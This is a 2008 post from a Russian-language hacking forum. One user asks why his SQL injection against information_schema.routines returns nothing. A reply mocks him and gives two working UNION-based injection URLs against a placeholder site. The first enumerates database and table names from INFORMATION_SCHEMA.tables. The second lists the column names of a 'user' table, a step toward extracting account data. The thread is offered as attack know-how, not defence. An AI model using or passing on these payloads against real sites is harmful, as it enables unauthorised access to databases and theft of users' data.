Показать сообщение отдельно

  #3870  
Старый 27.11.2008, 09:11
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами: 10313606

Репутация: 1327
По умолчанию

Цитата:
Сообщение от Octave_Parango  
Всем привет!

Разъясните...

Есть скуля - information_schema - доступно.

далее:

вываливаются куча всего и там я выцепляю routines:sql_admin
далее:

ошибка:
Table 'db.routines' doesn't exist
ага, значит все в другой базе.
далее смотрю в какой именно базе:

отображается "information_schema"
подставляю:

Страница без ошибок обновляется, но ни какой инфы нет.

Тут меня терзают сомнения:
1. Корректно ли я указал "information_schema.routines"
2. Может быть у меня не хватает прав?
3. Или где-то накосячил изначально?

Спасибо!
Да ты ж синтаксиса sql команд не понимаешь!!! Доки читай по мускулу! хеккеры млин...
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.
Код:
http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),table_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables--
потом уже смотришь названия колонок в интересующей таблице:
Код:
http://site.com/non.php?id=-6+union+select+1,2,COLUMN_NAME,4,5,6,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME="user"--
А уже потом на основе этих данных составляешь запрос!
 
Ответить с цитированием